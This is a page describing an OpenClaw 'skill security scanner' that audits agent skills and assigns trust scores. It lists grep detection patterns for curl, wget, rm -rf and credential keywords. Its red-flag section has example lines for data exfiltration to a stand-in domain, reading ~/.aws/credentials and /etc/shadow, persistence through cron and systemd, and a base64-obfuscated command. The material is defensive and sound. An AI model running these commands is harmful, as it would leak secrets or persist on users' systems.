โ† Back to skills
extension
Category: Security & ComplianceNo API key required

Skill Security Scanner

Scan OpenClaw skills for security risks, suspicious permissions, and provide a trust score to help evaluate skill safety before use or installation.

personAuthor: steffano198hubclawhub

Skill Security Scanner

Scan OpenClaw skills for security issues, suspicious patterns, and give a trust score. Helps users make informed decisions about which skills to trust.

When to Use

  • Before installing a new skill from ClawHub
  • Auditing existing installed skills
  • User asks "is this skill safe?"
  • After ClawHavoc type incidents (malicious skills in ecosystem)
  • Before running untrusted skills

Quick Reference

| Command | Purpose | |---------|---------| | scan-skill <path> | Scan a single skill | | scan-all | Scan all skills in workspace | | trust-score <path> | Get quick trust score (0-100) | | list-permissions <path> | List all requested permissions |

Scanning Strategy

1. Check Metadata (Frontmatter)

Look for:

  • bins - CLI tools skill needs
  • env - Environment variables (API keys, tokens)
  • requires.config - Required config settings
  • requires.bins - Binary dependencies

Red flags:

  • Skills requesting many bins without clear purpose
  • Env vars for sensitive services (AWS keys, database passwords)
  • Config requiring admin/elevated permissions

2. Analyze SKILL.md Content

Suspicious patterns to detect:

# Network calls to unknown domains
grep -E "(curl|wget|http|https).*\.com" SKILL.md
grep -E "fetch\(|axios\(" SKILL.md

# File system access beyond declared scope
grep -E "rm -rf|dd |mkfs" SKILL.md

# Credential access
grep -E "password|secret|token|key" SKILL.md

# Execution of downloaded code
grep -E "eval\(|exec\(|system\(" SKILL.md

# Base64 encoded commands
grep -E "base64|-enc|-encode" SKILL.md

3. Trust Score Calculation

Score from 0-100 based on:

| Factor | Weight | Criteria | |--------|--------|----------| | Author reputation | 20% | Known author? Official OpenClaw skill? | | Permission scope | 30% | Minimal bins/envs? | | Code patterns | 25% | No suspicious commands | | Update frequency | 15% | Recently updated? | | Download count | 10% | Popular = more scrutiny |

4. Risk Levels

| Score | Risk | Action | |-------|------|--------| | 80-100 | ๐ŸŸข Low | Safe to use | | 60-79 | ๐ŸŸก Medium | Review before use | | 40-59 | ๐ŸŸ  High | Use with caution | | 0-39 | ๐Ÿ”ด Critical | Don't use |

Output Format

Scan Result

๐Ÿ” Skill: <skill-name>
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
๐Ÿ“Š Trust Score: <score>/100 (<risk-level>)

๐Ÿ“‹ Permissions Requested:
   โ€ข bins: curl, jq
   โ€ข env: OPENWEATHER_API_KEY

โš ๏ธ Issues Found:
   1. [MEDIUM] Requests network access but no clear purpose
   2. [LOW] No recent updates (6+ months)

โœ… Positive Signs:
   โ€ข Official OpenClaw skill
   โ€ข Clear documentation

Trust Report

Generate a full report:

## Security Analysis: <skill-name>

### Score: <score>/100 (<risk-level>)

### Permissions Analysis
| Type | Requested | Risk |
|------|-----------|------|
| bins | curl, jq | Low |
| env | API_KEY | Medium |

### Code Pattern Analysis
- โœ… No suspicious execution patterns
- โœ… No credential access attempts  
- โš ๏ธ 2 network calls to external domains

### Recommendation
<RECOMMENDATION>

Common Red Flags

High Risk Patterns

  1. Network exfiltration

    # Example: sending data to unknown servers
    # curl -X POST https://SUSPICIOUS-DOMAIN/exfil
    # fetch("https://data-collector.DOMAIN")
    
  2. Credential harvesting

    # Example: reading credentials
    # cat ~/.aws/credentials
    # grep "password" /etc/shadow
    
  3. Persistence mechanisms

    # Example: auto-start, cron, systemd
    # sudo crontab -l
    # systemctl enable
    
  4. Obfuscated code

    # Example: base64 encoded commands
    echo "c3VkbyByb20gL3J0ZiAv" | base64 -d
    

Medium Risk Patterns

  1. Excessive permissions - More bins/envs than needed
  2. No documentation - Unclear what skill does
  3. Outdated - No updates in 6+ months
  4. Third-party dependencies - Unknown npm/go packages

Green Flags

  1. โœ… Official OpenClaw skills (openclaw/skills)
  2. โœ… Clear, specific permissions
  3. โœ… Active maintenance (recent commits)
  4. โœ… Open source with clear code
  5. โœ… Known author with reputation

Workflows

Before Installing New Skill

# 1. Get skill path (ClawHub or local)
# 2. Run full scan
scan-skill /path/to/skill

# 3. Check trust score
trust-score /path/to/skill

# 4. Review issues
# 5. Decide: install / skip / investigate more

Regular Security Audit

# Weekly: scan all installed skills
scan-all

# Monthly: generate full report
# Save to .learnings/ for documentation

Quick Trust Check

# For quick decision
trust-score <path>

# If score < 60, do full scan
# If score < 40, don't use

Integration with Other Skills

  • Works with self-improving-agent - Log security findings
  • Use memory - Remember trust scores for known skills
  • Report findings to user before risky operations

Best Practices

  1. Always scan before installing untrusted skills
  2. Document scan results in .learnings/
  3. Share findings with community (anonymized)
  4. Update trust scores when vulnerabilities found
  5. Trust but verify - Don't rely solely on automated scanning

Examples

Example 1: Scanning Before Install

User wants to install "cool-new-skill" from ClawHub:

> scan-skill ./skills/cool-new-skill

๐Ÿ” Scanning: cool-new-skill
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
๐Ÿ“Š Trust Score: 72/100 (๐ŸŸก Medium)

๐Ÿ“‹ Permissions:
   โ€ข bins: none
   โ€ข env: none

โš ๏ธ Issues:
   โ€ข No recent updates (8 months)
   โ€ข Unknown author

โœ… Positives:
   โ€ข Clear documentation
   โ€ข Minimal permissions

๐Ÿ’ก Recommendation: Safe to try, monitor usage

Example 2: Finding Malware

> scan-skill ./skills/suspicious-skill

๐Ÿ” Scanning: suspicious-skill
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
๐Ÿ“Š Trust Score: 23/100 (๐Ÿ”ด CRITICAL)

๐Ÿ“‹ Permissions:
   โ€ข bins: curl, base64
   โ€ข env: API_KEY, SECRET_TOKEN

๐Ÿšจ CRITICAL ISSUES FOUND:
   1. Network exfiltration pattern detected
   2. Credential access attempt
   3. Obfuscated commands (base64)

๐Ÿ’€ Recommendation: DO NOT USE - Potential malware

Example 3: Audit Report

> scan-all

๐Ÿ“‹ Scanning all skills in ~/.openclaw/workspace/skills/
โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”

โœ… github: 95/100 (safe)
โš ๏ธ todoist: 68/100 (review needed)
โœ… self-improving-agent: 92/100 (safe)
๐Ÿ”ด unknown-skill: 34/100 (remove recommended)

โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”โ”
Summary: 2 safe, 1 review, 1 remove

Related

  • ClawHavoc incident (Feb 2026) - 341 malicious skills
  • Agent Trust Hub - Third-party security tooling
  • OpenClaw Security docs: docs.openclaw.ai/gateway/security